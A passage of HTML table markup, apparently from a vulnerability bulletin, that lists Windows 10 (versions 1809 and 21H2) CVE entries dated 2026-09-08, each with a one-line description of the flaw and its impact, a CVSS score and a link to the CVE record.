&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69436&quot; target=&quot;_blank&quot;&gt;CVE-2026-69436&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows Device Health Attestation (DHA) allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69443&quot; target=&quot;_blank&quot;&gt;CVE-2026-69443&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Power Dependency Coordinator allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69459&quot; target=&quot;_blank&quot;&gt;CVE-2026-69459&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Use after free in Windows Modern Device Management (MDM) allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69460&quot; target=&quot;_blank&quot;&gt;CVE-2026-69460&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Use after free in Windows Win32K allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69498&quot; target=&quot;_blank&quot;&gt;CVE-2026-69498&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Error Reporting allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69513&quot; target=&quot;_blank&quot;&gt;CVE-2026-69513&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Use after free in Connected Devices Platform Service (Cdpsvc) allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69516&quot; target=&quot;_blank&quot;&gt;CVE-2026-69516&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Use after free in Windows Wireless Networking allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69517&quot; target=&quot;_blank&quot;&gt;CVE-2026-69517&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Use after free in Windows Audio Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69540&quot; target=&quot;_blank&quot;&gt;CVE-2026-69540&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Virtual Hard Disk (VHD) Miniport Driver allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69549&quot; target=&quot;_blank&quot;&gt;CVE-2026-69549&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Missing authorization in Windows Hyper-V allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69553&quot; target=&quot;_blank&quot;&gt;CVE-2026-69553&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Use after free in Windows Device Association Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69574&quot; target=&quot;_blank&quot;&gt;CVE-2026-69574&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Use after free in Windows PrintWorkflowUserSvc allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69602&quot; target=&quot;_blank&quot;&gt;CVE-2026-69602&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Use after free in Windows Host Guardian Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69682&quot; target=&quot;_blank&quot;&gt;CVE-2026-69682&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Use after free in Windows Web Platform Storage allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69708&quot; target=&quot;_blank&quot;&gt;CVE-2026-69708&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Use after free in Windows TCP/IP allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69757&quot; target=&quot;_blank&quot;&gt;CVE-2026-69757&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Credential Providers allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69790&quot; target=&quot;_blank&quot;&gt;CVE-2026-69790&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Use after free in Windows Device Association Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69791&quot; target=&quot;_blank&quot;&gt;CVE-2026-69791&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Audio Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69801&quot; target=&quot;_blank&quot;&gt;CVE-2026-69801&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Numeric truncation error in Windows Kerberos allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69822&quot; target=&quot;_blank&quot;&gt;CVE-2026-69822&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Use after free in Windows Device Association Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69866&quot; target=&quot;_blank&quot;&gt;CVE-2026-69866&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Null pointer dereference in Windows IKE Extension allows an unauthorized attacker to deny service over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69881&quot; target=&quot;_blank&quot;&gt;CVE-2026-69881&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Use after free in Windows Bluetooth Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69889&quot; target=&quot;_blank&quot;&gt;CVE-2026-69889&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Use after free in Windows Virtual Trusted Platform Module allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69890&quot; target=&quot;_blank&quot;&gt;CVE-2026-69890&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Use after free in Windows Modern Device Management (MDM) allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70577&quot; target=&quot;_blank&quot;&gt;CVE-2026-70577&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows Spaceport.sys allows an authorized attacker to execute code locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72952&quot; target=&quot;_blank&quot;&gt;CVE-2026-72952&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Use of uninitialized resource in Windows Failover Cluster allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72989&quot; target=&quot;_blank&quot;&gt;CVE-2026-72989&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Use after free in Windows Modern Device Management (MDM) allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73003&quot; target=&quot;_blank&quot;&gt;CVE-2026-73003&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Graphics Kernel allows an authorized attacker to execute code locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73017&quot; target=&quot;_blank&quot;&gt;CVE-2026-73017&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Use after free in Windows Modern Device Management (MDM) allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73022&quot; target=&quot;_blank&quot;&gt;CVE-2026-73022&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Use after free in Windows Cloud Files Mini Filter Driver allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80093&quot; target=&quot;_blank&quot;&gt;CVE-2026-80093&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Missing authorization in Windows Kernel allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83942&quot; target=&quot;_blank&quot;&gt;CVE-2026-83942&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 21H2&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Microsoft Local Security Authority Server (lsasrv) allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69365&quot; target=&quot;_blank&quot;&gt;CVE-2026-69365&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 21H2&lt;/td&gt;
&lt;td&gt;Use after free in Windows Hello allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69784&quot; target=&quot;_blank&quot;&gt;CVE-2026-69784&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 21H2&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Hello allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69820&quot; target=&quot;_blank&quot;&gt;CVE-2026-69820&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 21H2&lt;/td&gt;
&lt;td&gt;Use after free in Windows Message Queuing allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83997&quot; target=&quot;_blank&quot;&gt;CVE-2026-83997&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 21H2&lt;/td&gt;
&lt;td&gt;Use after free in Windows Push Notifications allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62697&quot; target=&quot;_blank&quot;&gt;CVE-2026-62697&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 21H2&lt;/td&gt;
&lt;td&gt;Concurrent execution using shared resource with improper synchronization (&#039;race condition&#039;) in Windows Connected User Experiences and Telemetry allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68824&quot; target=&quot;_blank&quot;&gt;CVE-2026-68824&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 21H2&lt;/td&gt;
&lt;td&gt;Use after free in Windows Connected User Experiences and Telemetry allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68847&quot; target=&quot;_blank&quot;&gt;CVE-2026-68847&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 21H2&lt;/td&gt;
&lt;td&gt;Use after free in Microsoft COM for Windows allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69299&quot; target=&quot;_blank&quot;&gt;CVE-2026-69299&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 21H2&lt;/td&gt;
&lt;td&gt;Concurrent execution using shared resource with improper synchronization (&#039;race condition&#039;) in Windows Bluetooth Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69448&quot; target=&quot;_blank&quot;&gt;CVE-2026-69448&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 21H2&lt;/td&gt;
&lt;td&gt;Stack-based buffer overflow in Microsoft Graphics Component allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69467&quot; target=&quot;_blank&quot;&gt;CVE-2026-69467&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 21H2&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Partition Management Driver allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69480&quot; target=&quot;_blank&quot;&gt;CVE-2026-69480&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 21H2&lt;/td&gt;
&lt;td&gt;Untrusted pointer dereference in Windows Secure Kernel Mode allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69501&quot; target=&quot;_blank&quot;&gt;CVE-2026-69501&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 21H2&lt;/td&gt;
&lt;td&gt;Numeric truncation error in Windows Spaceport.sys allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69535&quot; target=&quot;_blank&quot;&gt;CVE-2026-69535&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 21H2&lt;/td&gt;
&lt;td&gt;Use after free in Microsoft Install Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69605&quot; target=&quot;_blank&quot;&gt;CVE-2026-69605&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 21H2&lt;/td&gt;
&lt;td&gt;Use after free in Windows Notification allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69648&quot; target=&quot;_blank&quot;&gt;CVE-2026-69648&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 21H2&lt;/td&gt;
&lt;td&gt;Concurrent execution using shared resource with improper synchronization (&#039;race condition&#039;) in Windows Hello allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69710&quot; target=&quot;_blank&quot;&gt;CVE-2026-69710&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 21H2&lt;/td&gt;
&lt;td&gt;Double free in Windows Hello allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69725&quot; target=&quot;_blank&quot;&gt;CVE-2026-69725&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 21H2&lt;/td&gt;
&lt;td&gt;Concurrent execution using shared resource with improper synchronization (&#039;race condition&#039;) in Windows Hello allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69799&quot; target=&quot;_blank&quot;&gt;CVE-2026-69799&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 21H2&lt;/td&gt;
&lt;td&gt;Use after free in Windows Hello allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69864&quot; target=&quot;_blank&quot;&gt;CVE-2026-69864&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 21H2&lt;/td&gt;
&lt;td&gt;Untrusted pointer dereference in Kernel Streaming WOW Thunk Service Driver allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69900&quot; target=&quot;_blank&quot;&gt;CVE-2026-69900&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 21H2&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Print Spooler Components allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69921&quot; target=&quot;_blank&quot;&gt;CVE-2026-69921&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 21H2&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Credential Guard allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
